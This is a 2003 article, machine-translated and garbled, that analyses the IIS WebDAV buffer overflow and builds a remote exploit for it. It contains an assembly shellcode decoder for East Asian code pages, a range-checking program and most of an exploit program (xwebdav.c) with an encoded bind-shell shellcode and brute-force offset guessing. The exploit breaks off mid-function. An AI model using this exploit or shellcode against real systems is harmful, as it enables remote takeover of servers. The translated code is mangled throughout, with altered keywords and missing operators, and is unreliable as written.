Simple analysis of WebDAV vulnerability and General Exploit Design
Create time: 2003-05-09
Article attribute: original
Article submission:
Eyas (EY4S_AT_21CN.COM)
Simple analysis of WebDAV vulnerability and General Exploit Design
EY4S
2003-04-25
Read the << WebDAV remote overflow vulnerability analysis of ISNO >> << General attack WebDAV vulnerability method >>, and Nankia wrote
<< WebDAV Vulnerability ISNO Method Supplement >> After the release of Exploit, Exploit that can be found online in some tests
Test on board, some success, some unsuccessful. So I want to debug myself. In the later debugging, refer to a lot of information, especially
It is the << WideChar string buffer overflow attack technology written by Yuange >>. In the process, I learned a lot, I also have some heart.
I have to experience, there may be many mistakes, so I want to write down, please give more guidance, second can be used for notes for daily
Rear reference (I don't have good memory :-)).
It is recommended that you have read the article mentioned above and then continue. The following test is performed in the Windows 2000 Simplified Chinese version.
- = - = - = - Part 1 Vulnerability Simple Analysis - = - = - = -
What happened to the webdav overflow, I will not be coming, please refer to the article written by ISO, here is just a short story. We
IIS sends the following data:
Search / O http / 1.0
Host: xxx
Content-Type: Text / XML
Content-Length: 3
xxx
IIS converts the files we requested into Unicode, plus the path in front, and passed as a file name parameter.
GetFileAttributesexw (plus the path to Unicode, or convert to unicode and add the path, I didn't look carefully, but this
not important). If the IIS root directory is c: / inetpub / wwwroot, the file name passed to getFileAttributesexw is
"//? / c: / inetpub / wwwroot / o" Unicode form, as follows:
0197EFE0 5C 00 5C 00 3F 00 5C 00-63 00 3A 00 5c 00 69 00 /./ ../.c.:/.i.
0197EFF0 6E 00 65 00 74 00 70 00-75 00 62 00 5c 00 77 00 n.e.t.p.u.b./.w.
0197F000 77 00 77 00 72 00 6F 00-6F 00 74 00 5c 00 4f 00 w.r.O.t./.O.
The vulnerability reference relationship is as follows:
GetFileAttributesexw
| __RTLDOSPATHNAMETONTPATHNAME_U
| __RtlinitunicodeString <-buff More than 65535 will result in short integer overflow
| __ When the code behind this is character COPY, the stack overflow is triggered.
Let's take a look at the definition of the Unicode_String structure:
Typedef struct _unicate_string
{
Ushort length; <- This length refers to the number of bytes of buffer, not the number of unicode characters.
Ushort maximumlength;
PWSTR BUFFER;
} Unicode_string * punicode_string; From above, we can see that we can trigger as long as we guarantee ($ FileName $ IIS_PATH) * 2> 65535
The short-intensive spillage in which the BUFF length is stored, where $ filename is the file name we submit (non-Unicode).
- = - = - = - The second part about the string of widechar - = - = - = -
After receiving the buff that we sent, IIS will call the multibytetowidechar function to convert our buff into widechar.
That is, Unicode, codepage is the default CodePage system, 936 on the Simplified Chinese system. In the conversion process, it does not meet
The double-byte character of the corresponding Code Page WideChar range will be replaced, and the single-byte character will be converted to "/ xxx / x00".
How to determine the character is a single-byte character or a double-byte character? Simplified Chinese, Traditional Chinese, Korean, Japanese is a double-byte language.
That is, Double-Byte Character Set (DBCS). The first bytes in the above four language double bytes are greater than or equal to 0x80. and so
If a character is greater than or equal to 0x80, then there is still a character to form a complete "character" with this character together.
If you don't believe it, you can write a process to verify that you can call an API.
The isdbcsleadbyteex function determines WHETHER A Specified byte is a lis
That IS, THE FIRST BYTE OF A Character In A Double-Byte Character Set (DBCS).
Bool isdbcsleadbyteex (
Uint CodePage, // Identifier of Code Page
Byte Testchar // Byte to Test
);
If the characters we send are "/ x61 / x81 / x81", use the MultibyTowideChar function with Simplified Chinese CodePage.
After the conversion, it became "/ x61 / x00 / xxx / xxx", of course, the premise is "/ x81 / x81" converted into Unicode, which is consistent with Simplified Chinese WIDE
CHAR range. So we have to determine that shellcode is converted after MultibyToWideChar, which is in line with the corresponding code page.
CHAR range.
Repeatedly read Yuange's article << Widechar string buffer overflow attack technology >>, sincerely admire the Yuange technology!
Pay tribute to him!
Yuange is proposed in his article:
(1) Encode Real Shellcode into a visible character, ie less than 0x80. This will become a multibytetowideChar conversion.
"/ xxx / x00", characters will not be changed.
(2) Carefully prepare a code that meets the corresponding Code Page WideChar range, with these code to decode the above-described coded
Real shellcode.
YuanGe also provides a code for decoding shellcode in that article, which is in line with Simplified Chinese WideChar.
Later, Taiwan Netizen Nankia said that these codes could not be used above the traditional Chinese, and then Nankia wrote a traditional Chinese.
Decoded code for the WideChar range.
Later, I spent a lot of time. On the basis of the code released by Yuange, I have modified some places. I wrote a paragraph of Simplified Chinese, Traditional Chinese.
Decoded code in Chinese, Korean, Japanese WideChar range. The following is that I test these decoded code is in line with the corresponding WideChar range.
C code. I don't know how to debug decoding code is complemented by Yuange and Nankia? ?
= - = - = - = - = - = - = - = - = - = - = CHECKCODE.C - = - = - = - = - = - = - = - = - = - = - = - = - == - = - = - = - == - = - = - = - =
#include
#include
#define code_cn 936 // ANSI / OEM - Simplified Chinese (PRC, SINGAPORE)
#define code_tw 950 // ANSI / OEM - Traditional Chinese (TAIWAN; Hong Kong Sar, PRC)
#define code_jp 932 // ANSI / OEM - Japanese, Shift-JIS
#define code_korean 949 // ANSI / OEM - KOREAN (Unified Hangeul Code)
INT g_icodepagelist [] = {936, 950, 932, 949};
/ / If it is a legal WIDE CHAR range, this BYTE value is 1, otherwise 0
Char * g_szwidecharshort;
Void Checkcode (unsigned char * shellcode, int int);
Void Printsc (Unsigned Char * SC, INT LEN);
Bool MakewideCharlist ();
Void savetofile ();
Void shellcodefnlock ();
#define fnendlong 0x08
void main ()
{
Char * fnendstr = "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90";
UNSIGNED CHAR TEMP;
Unsigned char * shellcodefnadd;
UNSIGNED Char shellcode [512];
INT LEN, K;
/ * Positioning ShellCodefnlock assembly code * /
Shellcodefnadd = shellcodefnlock;
Temp = * shellcodefnadd;
IF (Temp == 0xe9)
{
shellcodefnadd;
K = * (int *) shellcodefnadd;
Shellcodefnadd = K;
Shellcodefnadd = 4;
}
For (k = 0; k <= 0x500; K)
IF (Memcmp (Shellcodefnadd K, Fnendstr, Fnendlong) == 0)
Break;
/ * shellcodefnadd k 8 is the resulting shellcodefnlock assembly code address * /
Len = 2 * WCSLEN (ShellcodefnadD K 8);
Memcpy (shellcode, shellcodefnadd k 8, len);
IF (! MakewideCharlist ()) Return; // Savetofile ();
/ * Detect whether shellcode is in a legal WIDE CHAR range * /
Checkcode (shellcode, len);
// Printsc (shellcode, len);
}
Bool MakewideCharlist ()
{
UNSIGNED Char WBuff [4];
UNSIGNED Char WBuff2 [4];
UNSIGNED Char Buff [4];
INT I, J, RET, K;
g_szwidecharshort = (char *) Malloc (65536);
MEMSET (G_SzWidecharshort, 1, 65536);
For (k = 0; k { Printf ("Usecodepage =% D / N", g_icodepagelist [k]); For (i = 0; i <256; i ) // for 2 { For (j = 0; j <256; j ) // for 3 { IF ((i == 0) && (j == 0)) j = 1; MEMSET (BUFF, 0, 4); MEMSET (WBUF1, 0, 4); WBUFF [0] = (byte) i; WBUFF [1] = (byte) j; WBUFF [2] = (byte) '/ 0'; WBUFF [3] = (byte) '/ 0'; IF (! (Ret = WideChartomultibyte (g_icodepagelist [k], 0, (unsigned short *) WBUFF, 1, BUFF, 2, 0, 0))))) { Printf ("WideChartomultibyte Error:% D / N", GetLastError ()); Return False; } IF (! (Ret = MultibytetowideChar (g_icodepagelist [k], 0, BUFF, STRLEN (BUFF), (Unsigned Short *) WBUFF2, 1)))) { Printf ("MultibyTowideChar Error:% D% D / N", GetLastError (), RET); Return False; } / / Decision is changed after twice, as long as it is in any Code Page changes are considered illegal Wide Char range IF (* (DWORD *) WBUFF! = * (DWORD *) WBUFF2) g_szwidecharshort [(byte) WBUFF [0] * 0x100 (Byte) WBUFF [1]] = (byte) '/ 0'; } // GetChar (); } // end of for 2 } // end of for 1 Return True; } void savetofile () { UNSIGNED Char * g_pstr; File * f; INT I, J, K; i = 0; / * Save the allowed Wide Char range in text file, easy to debug * / g_pstr = (unsigned char *) Malloc (65536 * 6 200); MEMSET (g_pstr, 0, 65536 * 6 200); For (k = 0; k For (j = 0; j <65536; j ) IF (g_szwidecharshort [j]! = (byte) '/ 0') i = Sprintf (g_pstr i, "% .4x / n", j); f = fopen ("c: //w.txt", "w"); FPRINTF (f, "% s", g_pstr); Fclose (f); Free (g_pstr); } Void Printsc (Unsigned Char * SC, INT LEN) { Int L; FOR (L = 0; L { IF (l == 0) Printf ("/"); IF ((l% 16 == 0) && (L! = 0)) Printf ("/" / n / ""); Printf ("// x% .2x", sc [l]); IF (l == len-1) Printf ("/"); } Printf ("/ n / n"); For (l = 0; l { IF (l == 0) Printf ("/"); IF ((l% 16 == 0) && (L! = 0)) Printf ("/" / n / ""); Printf ("%% u% .2x% .2x", sc [l 1], sc [l]); IF (l == len-2) Printf ("/"); } } Void Checkcode (Unsigned Char * SC, INT LEN) { Int L; / * Detection * / Printf ("/ nstart check shellcode / n"); For (l = 0; l { Printf ("shellcode% .2x% .2X AT sc [%. 2D] sc [%. 2D]", SC [L], SC [L 1], L, L 1); IF (g_szwidecharshort [(byte) sc [l] * 0x100 (byte) sc [l 1] == (byte) '/ 0') Printf ("not"); Printf ("allow./N"); } Printf ("DONE./N"); } / * Note: In order to comply with the Wide Char range, Nopcode and Database are different from Yuange * / / * Be careful when the SHELLCODE is encoded, and #define nopcode 0x4f // dec ESI 0x4f = 'o' 0x4e = 'n' #define offsetnum 0x8 #define database 0x64 Void shellcodefnlock () { _asm { NOP NOP NOP NOP NOP NOP NOP NOP / * START Here * / Dec EDI // Useless code, to move the command range 4f JNZ unlockdataw // 75 05 JZ unlockdataw // 74 03 Dec ESI // Useless code, for the migration range 4e <- never perform this / * Put the TOSHELL in front is to facilitate back debugging, you can debug a little later * / / * Otherwise when Jz Toshell is jumped back, and if the back offset is not determined, it is difficult to adjust * / / * Compliant with the code of the Wide Char range * / TOSHELL: / * At this time, the ESP is stored is the start address of the decoded shellcode, which is the start address of Shellcode before decoding. Ret // C3 Dec EDI // Useless code, for the migration range 4f <- never perform this UnlockDataw: / * Get our start address of our decoder * / Push EBX / / 53 / * Can be universal PUSH ESP * / / * Address Save in ESI * / NOP POP ESI // 5E / * Where to start decoding from the positioning * / LOOPLOAD: / * Read two bytes, with ESI index * / Lodsw // 66 AD Dec ESI // Useless code, to move the command range 4E INC ESI // Useless code, for the migration of the command range 46 Dec EDI // Useless code, to move the command range 4f INC EBX // Useless code, for the migration of the command range 43 / * Judging whether the character that has reached to be decoded * / CMP AX, 0x6F97 // ShellData 66 3D 97 6F | NOP // Useless code, for the migration of the command range 90 | PUSH ECX // Useless code, for the migration of the command range 51 | NOP // useless code, for the migration of the command range 90 | ------> Instructions that cannot be used herein POP ECX // Useless code, for the migration of the command range 59 | Jnz loopload // 75 f0 | Push ebx // useless code, for the migration of the command range 53 / * The start address to be decoded is passed to EDI, and the decoded character is also stored from this start address * / Push ESI // 56 POP EDI // 5F Dec EDX // Useless code, to move the command range 4A / * Save the start address, pay attention to the back PUSH POP operation to balance * / / * Otherwise, the RET instruction in the TOSHELL cannot return to the decoded shellcode * / Push EDI // 57 INC EBX // Useless code, for the migration of the command range 43 / * Start Decoding * / LOOPLOCK: / * Read two bytes, with ESI index * / Lodsw // 66 AD Push eax // useless code, for the migration range 50 ------- << 3 >> INC EBX // Useless code, for the migration of the command range 43 / * Judgment is all decoded * / CMP AX, NOPCODE / / 66 3D 4F 00 NOP POP ECX // Useless code, to move the command range 59 -------- << 3 >> Restore Stack Operation JZ TOSHELL / / 74 D5 Dec esi // useless code, for the migration of the command range 4E ------ << 1 >> /*decoding*/ SUB Al, Database // 2C 64 / * Save to ECX * / Push Eax // 50 POP ECX // 59INC ESI // Useless code, for the migration range 46 ------- << 1 >> Restore ESI value Dec EDI // Useless code, for the migration of the command range 4F ------- << 2 >> Inc EDI // Useless code, for the migration of the command range 47 ------- << 2 >> NOP // useless code, for the migration of the command range 90 INC EBX // Useless code, for the migration of the command range 43 / * Read two bytes, with ESI index * / Lodsw // 66 AD Push eax // useless code, for the migration of the command range 50 ------- << 4 >> Dec EBX // Useless code, for the migration of the command range 4B POP EAX // Useless code, for the migration of the command range 58 ------ << 4 >> /*decoding*/ SUB Al, Database // 2C 64 / * -------------- combination decoded content ------------------ * / Dec EDX // Useless code, to move the command range 4A Push EDI // 57 Save EDI, because it is used back ----- >> [1] / * Transfer the ECX value to EDI * / Push ECX / / 51 NOP // useless code, for the migration of the command range 90 NOP // useless code, for the migration of the command range 90 POP EDI // 5F / * EDI * 0x10 * / Add Edi, EDI // 03 FF Add Edi, EDI Add Edi, EDI Add Edi, EDI / * Get the final result of the result (EDI * 0x10) of the second decoding (EDI * 0x10), the operation is obtained * / XCHG EAX, ECX // 91 Add ECX, EDI // 03 CF XCHG EAX, ECX // 91 / * Restore EDI value * / NOP // useless code, for the migration of the command range 90 POP EDI // 5F -------- >> [1] / * Save the decoded content, with EDI to index * / Stosb // aa NOP // useless code, for the migration of the command range 90 INC ECX // Useless code, for the migration of the command range 41 JZ LOOPLOCK / / 74 CA | NOP // Useless code, for the migration of the command range 90 | PUSH ECX // Useless code, for the migration of instruction range 51 | ---> Cannot use instructions that will affect the flag NOP // 90 | POP ECX // Useless code, for the migration of the command range 59 | JNZ LOOPLOCK / / 75 C4 Dec esi // Useless code, for the command range 4E this code will never perform / * Decoding code end tag * / _emit (0x97) _emit (0x6f) / ** / _emit (0x0) _emit (0x0) _emit (0x0) _emit (0x0) NOP NOP NOP NOP NOP NOP NOP NOP } } = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = = - = - = - = - = - = - = - = - = - = - = - = - == - = - = - = - = - = - = - = - Part IIS PATH Length problem - = - = - = - The WebDAV vulnerability overflow is originally fixed, but because there is an IIS Path length uncertain this problem, this has become a spillout point. Uncertain vulnerabilities. According to my understanding, IIS PATH length causes overflow points uncertain this problem, we can use two ways to solve: (1) The semi-continuous coverage method proposed in Yuange. Regardless of IIS PATH, no matter how accurate overflow points, you only Guess 8 times, let our JMP addr are aligned where you want to be overwritten. In fact, because the characters we send should be converted to Unicode, So just need to guess four times. Advantages: Do not need to know the precise overflow point, just guess 4 times; shortcoming: may pay DOWN 3 times the price of IIS. (2) Guess the length of IIS Path. We have to accurately control the length of the buff, and determine that there is no guess in the PATH length. Make IIS trigger overflow. The buff structure we sent is as follows: ($ GUESS_PATH_LEN $ NOP_FOR_ Align _ret $ JMPOVER $ RET $ SHELLCODE $ NOP We must ensure that the above BUFF does not overflow when Path has not guess, but it is accurate, not only makes him overflow, but it is just let us JMP addr covers SEH or RET. In this case, the length of IIS PATH can only be guess from the guess. because: If the actual length of the PATH is 20, we guess is 30, the buff length sent is 65536-30 = 65506, in fact, at this time The buffer processing of the device is 65506 20 = 65526 bytes, and the overflow did not occur. When we guess 21 from 30, the overflow will not happen, but When I arrived 20, the overflow happened, and our JMP AddR just overwritten in our designated position. In contrast, when you go to the guess, no matter whether Path guess, IIS overflow will be triggered. Later, it was found that it was not buff more than 65535, it will trigger stack overflow, but more than 65535 will cause short interstitial overflow. Definitely. Let's take a look at the related code: NTDLL! RTLDOSPATHNAMETONTPATHNAME_U 3A: 77F8B036 Push DWORD PTR [EBP 0x8] 77f8b039 Lea Eax, [EBP-0x30] 77F8B03C Push EAX 77F8B03D Call NTDLL! RTLINITUNICODESTRING (77F83C6D) 77F8B042 CMP Word PTR [EBP-0X30], 0x8 // Decision length is less than or equal to 8, is the words jump 77F8B047 JBE NTDLL! RTLDOSPATHNAMETONTPATHNAME_U 0X71 (77f8b056) 77F8B049 MOV EAX, [EBP-0X2C] // EBP-0x2c is stored in buff address 77f8b04c cmp word ptr [EAX], 0x5c // judgment whether the first bit of buff is '/', is the words jump 77F8B050 JE NTDLL! RTLDOSPATHNAMETONTPATHNAME_U 0X56 (77F84049) 77f8b056 and byte PTR [EBP-0x64], 0x0 77f8b05a lea eax, [EBP-0x270] Because the file name passed to getFileAttributeSexW is "//? / C: / xx" form, it will definitely jump in the above 77f8b050. If you jump, you can't trigger your stack overflow. There is no tracking, interested friends who are interested. :) So we want to jump 77f8b047, that is, let the unicode_string structure less than or equal to 8. That is to say BUFF The length is between 65536, 65544. Because BUFF is in the form of Unicode, the BUFF length that can trigger stack overflow is only as follows: 65536, 65538, 55540, 65542, 65544. Later, it was found that the buff length was 65536, that is, the unicode_string structure of Length is 0 times, you can't trigger stack overflow. Therefore, the BUFF length must be one of the 65538, 55540, 65542, 65544 to trigger the stack. overflow. With this length limit, when we guess IIS PATH, we can not only guess from the big guess, but also from small to guess, in my The latter is used in Exploit. How do you guess me? - = - = - = - Part IV EXPLOIT - = - = - = - Now we have the following resources: <> Simplified Chinese, Traditional Chinese, Japanese, and Korean Systems Installs Universal Decoding Code <> I know how precise guess IIS path length and the JMP Addr is accurately covered in the specified place in guess. We still need: <> JMPOVER code in accordance with the above four platforms Wide Char ranges. This is simple. <> JMP Addr Address. In my Exploit is overridden SEH, JMPAddr can use Call EBX, Or PUSH EBX; RET, the former is easy to find in the system DLL, but the latter is less. Note: JMPAddr addresses must also comply with the corresponding platform Wide char range. It is difficult to find out the universal address of various platforms, at least I have found it. But I found some Chinese and traditional Chinese in Chinese. The system DLL is the same, so you can find the same address. In Japanese, there is also some system DLLs in Korean, and you can find the same address. = - = - = - = - = - = - = - = - = - = - = xwebdav.c - = - = - = - = - = - = - = - = - = - = - = - = - = - = - == - = - = - = - == - = - = - = - = #include #include #include #pragma comment (Lib, "WS2_32") # define nopcode 0x4f // 0x4f // 'o' #define bufflen 65536 8 // BUFF length passed to getFileAttribeexw #define overpoint 0x260 // Overflow point -0x14 SEH-0X4 #define maxTry 8 // After the connection failed, the number of times #define defaultoffset 23 #define recvtimeout 30000 // ms, 30s #define startoffset 6 #define endoffset 80 #define retaddrnum 12 // Available RET Addr quantity / * Serious mistake, program exit * / #define error_other 0 // Other Error #define error_method_not_suport 1 // no valu #define error_not_iis 2 // not IIS / * Continue to speculate offset * / #define error_Resource_notfound 3 // Offset Error #define error_bad_request 4 // offset error? / * Success? * / #DEFINE ERROR_RECV_TIMEOUT 5 / / SUCCESS? / * Try different RET Addr * / #define error_connect_reset 6 // Offset OK? But RET Addr Error #define error_connect_falied 7 // CAN't Connect // [100 Bytes] Unsigned char decoder [] = "% U0000% U7409% U4E07% U584A% U9050% U4FC3% U9053% U665E" "% U4EAD% U4F46% U6643% U973D% U906F% U9051% U7559% U53F0" "% U5F56% U574A% U6643% U50AD% U6643% U4F3D% U9000% U7459" "% U4ed5% U642C% U5950% U4F46% U9047% U6643% U50AD% U584B" "% U642C% U574A% U9051% U5F90% UFF03% UFF03% UFF03% UFF03" "% U0391% U91CF% U5F90% U90AA% U7441% U90CA% U9051% U7559" "% U4EC4% U6F97"; / * Binding CMD SHELLCODE is COPY from ISNO's Exploit * / Unsigned char xshellcode [] = "mdrodgiqrodirlslsssssslgpieimdmdmdlopiggpmjjromeddgidldgdmkhdrfsnkrlrmimkmkpqephq" "EHKPMDSQJLPHSGGJMKMKMKMKPKSGEROFMKMKMKMKMKNHPFPMKMKMKKKRDKSHOMJMKMKEJJPMKMKJLFLMLMLMLEH" "Immjmkmkejihmkmkmjmkseejnpqnpqrfkdnhikepqhnomhihseejnspkqfrfhrehikrsepnkmhjhepqm" "momhipejnrqpqfpiqmrfifejrrmgqfqonhnirffonhjlepqeokmhihepipmhmsejnrqdsfrgpkrfmrej" "rmgrislshqjrgmeqdehikmgkpkfmhjlmhjpeppeogmhjqnhhiseepldepjqepqelkqsmhjsnhire" "MHIRMHIRMHQMHIPNRMHJPKRMJMKMKPMEDJDEPHDNHIKJDHKEPIPIPIGLERNIENQIMSPIPHJL" "lipqerqimgenrilfpipejlpimgpqnhikgiogikrfjrnhireqmmegirrgmrpipephjllipqgpkiksqepi" "pejlpimgpqephsnhikgoegikrfjrnhireqmmekjrmirgmrpipephjllipqgpkikdnhikpkqkpkpkpkpkjl" "pdksdhsqlkpephjlpdkosqmiphjlpdjknhikpdpkfkmogppsgpqkgpplqspkpdpegnhead" "gnpegnpejlpdikqsfkqdermdpdjlpdignhikepqejgerqdnoerqdqkepmeerqdnsnhiksefsmjmjerqd" "OOPDPDNHIKPKPKPKQKPKQSPKPKGnpenhikpkjlpdisjlrejkjlpdiojlrejojlpdioqspkpkphjlpdjg" "Ephsnhikfgmgpkijksmgpkjlpdhgepjknhikepisffmgpkpkpdpjpejlrdgsjlpdhkehnlmjroooinhik" "pkpdjlndpejlrdgsjlpdhompikrgolnhikpkjlndpephjlpdjssqpkjlpdkkkpisnhikpkfgmgpkpeph" "jlpdjopdnhirpjpkpejlrdgojlpdhssqpkjlpdkkkpgqpkjlpdkgkpjmpspkerqiiiiiihepqgogmomffs" "mkmkmkidmkrspenglinhikihkpkisterkijnjljlksdijmjljlqppekdrdohekkdrdqoslsjsgqosrsiri" "sjrirrqjmkqfpiqmqfqonhnimkqhrisfsjrgsfpksrgsfmkqdsfrgphrgsjrirgrfrkqrsmseslqj" "Mkqhrisfsjrgsfpkrislshsfrhrhqjmkqhsoslrhsfqssjsmsgsosfmkpksfsfspqmsjsnsfsgpksrk" "sfmkqdsoslsisjsoqjsososlshmkpdrisrrgsfqesrsrsfmkpisfsjsgqesrsosfmkphsosfsfrkmkqf" "rssrrgpkrislshsfrhmkmkpdphqlqhqpnimkrhslshspsfrgmksisrsmsgmksj" "Shshsfrgmkrhsfsmsgmkrisfshremimimklmsomkmkmkmkmkmkmkmkmkmkmkmkmkmkmkmkmkmk" "jljljljldd"; Unsigned char jmpover [] = "% U9041% U6841"; // 0x41 incd ECX, 0x68 Push Num32Unsigned INT G_ICONNECTERROR = 0; / * This data is not available * / Unsigned int g_iretaddrlist [3] [4] = { { 0, // Call EBX Addr AT XX.dll in SP0_CN_TW, in line with (CN, TW) Wide Char encoding 0, // Call EBX Addr AT XX.dll in SP1_CN_TW, in line with (CN, TW) Wide Char encoding 0, // Call EBX Addr AT XX.dll in SP2_CN_TW, in line with (CN, TW) Wide Char encoding 0 // Call EBX Addr At XX.dll in SP3_CN_TW, compliant with (CN, TW) Wide Char Coding } { 0, // Call ebx addr at xx.dll in SP0_JP_KO, in accordance with (JP, KO) Wide Char Coding 0, // Call EBX Addr AT XX.dll in SP1_JP_KO, in accordance with (JP, KO) Wide Char Coding 0, // Call ebx addr at xx.dll in sp2_jp_ko, in line with (JP, KO) Wide Char Coding 0 // Call EBX Addr At XX.dll in SP3_JP_KO, in accordance with (JP, KO) Wide Char Coding } { 0, // Call EBX ADDR AT XX.DLL IN SP0_EN, in accordance with (CN, TW, JP, KO) Wide Char Coding 0, // Call EBX ADDR AT XX.DLL IN SP1_EN, in accordance with (CN, TW, JP, KO) Wide Char Coding 0, // Call EBX ADDR AT XX.DLL IN SP2_EN, in accordance with (CN, TW, JP, KO) Wide Char Coding 0 // Call EBX ADDR AT XX.DLL IN SP3_EN, in accordance with (CN, TW, JP, KO) Wide Char Coding } } Int SendBuffer (Char * IP, INT Iport, Unsigned Char * BUFF, INT LEN); INT MakeExploit (unsigned int Retdr, int offset, char * host, char * ip, int port); Void usage (); Void main (int Argc, char ** argv) { INT I, IRET, K, IOSTYPE, ISP Unsigned int IOffset, Iport, iStartoffset, IendOffset, Icorage; Char * ip, * host; Unsigned int retdrlist [retaddrnum], Iretaddrnum Memset (Iretaddrlist, 0, sizeof (IretadDrlist); Iretaddrnum = 0; IP = NULL; Host = NULL; iPort = 80; Iostype = -1; ISP = -1; IOFFSET = 0; IcorRectoffset = 0; IF (Argc <3) { USAGE (); Return; } For (i = 1; i { IF (Strlen (Argv [I])! = 2) { USAGE (); Return; } / / Check if the parameters are missing IF (i == ARGC-1) { USAGE (); Return; } Switch (Argv [I] [1]) { Case 'I': IP = argv [i 1]; Break; Case 'h': Host = Argv [i 1]; Break; Case 'P': Iport = ATOI (Argv [i 1]); Break; Case 'T': Iostype = ATOI (Argv [i 1]); Break; Case 's': ISP = ATOI (Argv [i 1]); Break; Case 'o': IOFFSET = ATOI (Argv [i 1]); Break; } } // Check the parameters IF (! ip) { USAGE (); Return; } IF (! Host) host = IP; IF (! ioffset) { iStartoffset = startoffset; IENDOFFSET = Endoffset; } Else { IFFSET { USAGE (); Return; } Else { iStartoffset = ioffset; IENDOFFSET = IOFFSET; } } IF ((iostype> 2) || (ISP> 3)) { USAGE (); Return; } // Brute Force IF ((iostype == -1) && (ISP == -1))) { Memcpy (Iretaddrlist, g_iretaddrlist, sizeof (itaddrlist)); Iretaddrnum = sizeof (Iretaddrlist) / sizeof (int); } IF ((iostype == -1) && (ISP! = -1))) { For (i = 0; i <3; i ) Iretaddrlist [Iretaddrnum ] = g_iretaddrlist [i] [ISP]; } IF ((iostype! = -1) && (ISP == -1)))) { For (i = 3; I> = 0; I -) Iretaddrlist [Iretaddrnum ] = g_iretaddrlist [iostype] [i]; } IF (IOSTYPE! = -1) && (ISP! = -1))) Iretaddrlist [iretaddrnum ] = g_iretaddrlist [iostype] [ISP]; Printf ("IP / T / T:% S / N" "Host / T / T:% S / N" "Port / T / T:% D / N" "OFFSET / T / T:% D-% D / N" "IOFFSET / T / T:% D / N" "OSTYPE / T / T:% D / N" "SP / T / T:% D / N" "RetadDRNum / T:% D / N", IP, Host, Iport, iStartoffset, Iendoffset, Ioffset, Iostype, ISP, IRetaddrnum); For (i = 0; i Printf ("%. 8x", Iretaddrlist [i]); Printf ("/ nStart Exploit [Y / N]:"); IF (getchar () == 'n') return; K = 0; For (i = iStartoffset; i <= Iendoffset; i ) { // If you are guess offset, please try 23 IF (i == startoffset) i = defaultoffset; ELSE IF ((i == defaultoffset) && (ioffset == 0)) Continue; Printf ("Try Offset:% D / Tuse Retaddr: 0x% .8x / N", I, IRetaddrlist [k]); Iret = MakeExploit (Iretaddrlist [K], I, Host, IP, IPORT); Switch (IRet) { Case Error_not_iis: Case error_method_not_suport: Case Error_other: Exit (1); Break; Case error_connect_falied: Printf ("Can't Connect TO% S:% D", IP, IPORT); // Can't connect it for the first time, or beyond the maximum number of retry IF ((i == Defaultoffset) || (g_iconnecterror> maxTry))) { Printf (", EXIT./N"); Exit (1); } Printf (", Wait for try again./N); Sleep (5000); // Same Offset, Retaddr Try Again I-; Break; Case Error_Connect_Reset: IcorRectoffset = i; Break; Case Error_Recv_timeout: Printf ("Recv buff timeout.maybe success? / n"); Exit (1); Break; } IF (i == DefaultOffset) i = 6; IcorRectoffset Break; // GetChar (); } IcorRectoffset Printf ("- = - = We got correct offset:% D - = - = / n" "- = - = but retraddr% .8X Error - = - = / N", icorRectoffset, Iretaddrlist [k]); Else Return; IRetaddrnum <2) return; // Try other Retdr For (k = 1; k { Sleep (5000); Printf ("Use Offset:% D / TTRY RETADDR: 0x% .8x / N", IcorRectoffset, Iretaddrlist [k]); Iret = MakeExploit (Iretaddrlist [K], IcorRectoffset, Host, IP, 80); Switch (IRET) { Case error_connect_falied: Printf ("Can't Connect TO% S:% D", IP, IPORT); IF (g_iconnecterror> maxTry) { Printf (", EIXT./N"); Exit (1); } Else Printf (", Wait for try again./N); K -; Break; Case Error_Connect_Reset: Printf ("Retaddr Error, Wait for Try ANOTHER./N"); Break; Case Error_Recv_timeout: Printf ("Recv buff timeout.maybe success? / n"); Exit (1); Break; DEFAULT: Exit (1); } } Printf ("DONE./N"); } Int SendBuffer (Char * IP, INT Iport, unsigned char * buff, int LEN) { Struct sockaddr_in sa; WSADATA WSD; Socket S; INT IRET, IERR; Char szrecvbuff [0x1000]; INT I; IRET = Error_other; MEMSET (Szrecvbuff, 0, Sizeof (Szrecvbuff)); __TRY { IF (WsaStartup (MakeWord (1, 1), & WSD)! = 0) { Printf ("WSAStartup Error:% D / N", Wsagetlasterror ()); __leave; } s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); IF (s == invalid_socket) { Printf ("/ NCREATE SOCKET FAILED:% D", getLastError ()); __leave; } // set Socket Recv Timeout i = recvtimeout; Setsockopt (S, SOL_Socket, SO_RCVTIMEO, & I, SIZEOF (i)); sa.sin_family = af_inet; Sa.sin_port = HTONS (iPort); Sa.sin_addr.s_un.s_addr = inet_addr (ip); Irr = Connect (S, Struct SockAddr *) & Sa, Sizeof (SA)); IF (Ierr == Socket_ERROR) { IRET = Error_Connect_falied; g_ICONNECTERROR ; __leave; } // reset flag g_ICONNECTERROR = 0; Ierr = Send (S, BUFF, LEN, 0); IF (Ierr == Socket_ERROR) { Printf ("Send Buffer Error:% D. / N", WsageTlasterror ()); __leave; } Ierr = RECV (S, Szrecvbuff, SizeOf (Szrecvbuff), 0); IF (Ierr == Socket_ERROR) { IF (wsagetlasterror () == wsaetimedout) IRET = error_recv_timeout; IF (wsagetlasterror () == 10054) IRET = Error_Connect_reset // Printf ("Recv buffer error:% d. / n", wsagetlasterror ()); __leave; } IF (SzrecvBuff, "Microsoft-IIS / 5.0") == NULL) { IRET = error_not_iis; Printf ("Target Not Iis./N); __leave; } IF (SZRECVBUFF, "404 Resource Not Found")) { IRET = error_resource_notfound; __leave; } IF (SzrecvBuff, "400 Bad Request")) { IRET = error_bad_request; __leave; } IF (STRSTR (Szrecvbuff, "501 Not Supported")) { Iret = error_method_not_suport; Printf ("501 Not Supported / N); __leave; } } __finally { IF (s! = invalid_socket) ClossoSocket (s); WSACLEANUP (); } Return IRet; } // // offset is the length of IIS Path // INT MakeExploit (unsigned int Retdr, int offset, char * host, char * ip, int port) { UNSIGNED Char JmpAddr [16]; Unsigned char * pstr, sznop [4]; INT I, INOP, IRET; SZNOP [0] = NOPCODE; SZNOP [1] = '/ 0'; // Convert character format Sprintf (jmpaddr, "%% u% .2x% .2x %% u% .2x% .2x", retaddr >> 8 & 0xff, retaddr & 0xff, Retaddr >> 24 & 0xFF, Retaddr >> 16 & 0xFF); //Allocate memory PSTR = (unsigned char *) Malloc (40000); // Combination buffer STRCPY (PSTR, "Search /"); // Fill NOP Code IISPATH NOP = 0x260 / 2 For (i = offset; i STRCAT (PSTR, SZNOP); // jmp to decoder 